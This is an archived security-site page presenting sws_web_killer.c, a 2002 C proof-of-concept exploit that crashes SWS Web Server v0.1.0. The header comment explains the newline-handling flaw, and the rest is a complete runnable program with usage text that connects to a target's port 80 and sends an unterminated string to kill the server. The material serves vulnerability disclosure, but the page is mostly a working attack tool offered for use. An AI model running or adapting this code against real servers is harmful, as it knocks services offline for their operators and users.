what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sws_web_killer.c

sws_web_killer.c
Posted Sep 2, 2002
Authored by SaMaN

Proof of Concept Exploit for SWS Web Server v0.1.0. The SWS web server will re-spawn its process every time it receives a string without a linebreak. Tested on: Slackware 8.1 and Redhat 7.0.

tags | exploit, web, proof of concept
systems | linux, redhat, slackware
SHA-256 | cafa6f63db5e44b4e61a6d37541beb63918693405838a70b59b9387ed345e211

sws_web_killer.c

Change Mirror Download
/*
* Mon Sep 2 17:45:04 2002
*
* |SaMaN| aka Mert <saman@hush.com>
*
* Information : Anyone can kill SWS Web Server v0.1.0 remotely.
*
* Proof of Concept Exploit for SWS Web Server v0.1.0
*
* SWS homepage : http://www.linuxprogramlama.com
*
* Tested on : Slackware 8.1 - 2.4.18
* : Redhat 7.0 - 2.2.16-22
*
* Problem : sws_web_server.c
* : line 108
* : if (recvBuffer[i - 1] != '\n') break;
*
* Q : So what will happen when we send a string not end with '\n' ?
* A : break break break
* Q : So root should restart web server everytime ?
* A : Yes
* Q : Other web servers act like this ?
* A : No
* Q : So something is wrong ?
* A : Yes :)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define K "\033[1;31m"
#define Y "\033[1;32m"
#define SA "\033[1;33m"
#define M "\033[1;34m"

#define PORT 80

int main(int argc, char *argv[])
{
int sockfd, numbytes;
struct hostent *adres;
struct sockaddr_in hedef;

char buf[8] = "|SaMaN|";

if (argc != 2) {
printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
printf("%sSWS Web Killer (saman@hush.com) \n", SA);
printf("%s=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", K);
printf("%sUsage: ./sws_web_killer %s<IP> \n",Y,M);
return 0;
}

if ((adres=gethostbyname(argv[1])) == NULL) {
perror("gethostbyname");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}

hedef.sin_family = AF_INET;
hedef.sin_port = htons(PORT);
hedef.sin_addr = *((struct in_addr *)adres->h_addr);
memset(&(hedef.sin_zero), '\0', 8);

if (connect(sockfd, (struct sockaddr *)&hedef,
sizeof(struct sockaddr)) == -1) {
perror("connect");
exit(1);
}

if ((numbytes=send(sockfd, buf, strlen(buf), 0)) == -1) {
perror("send");
exit(1);
}

close(sockfd);

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close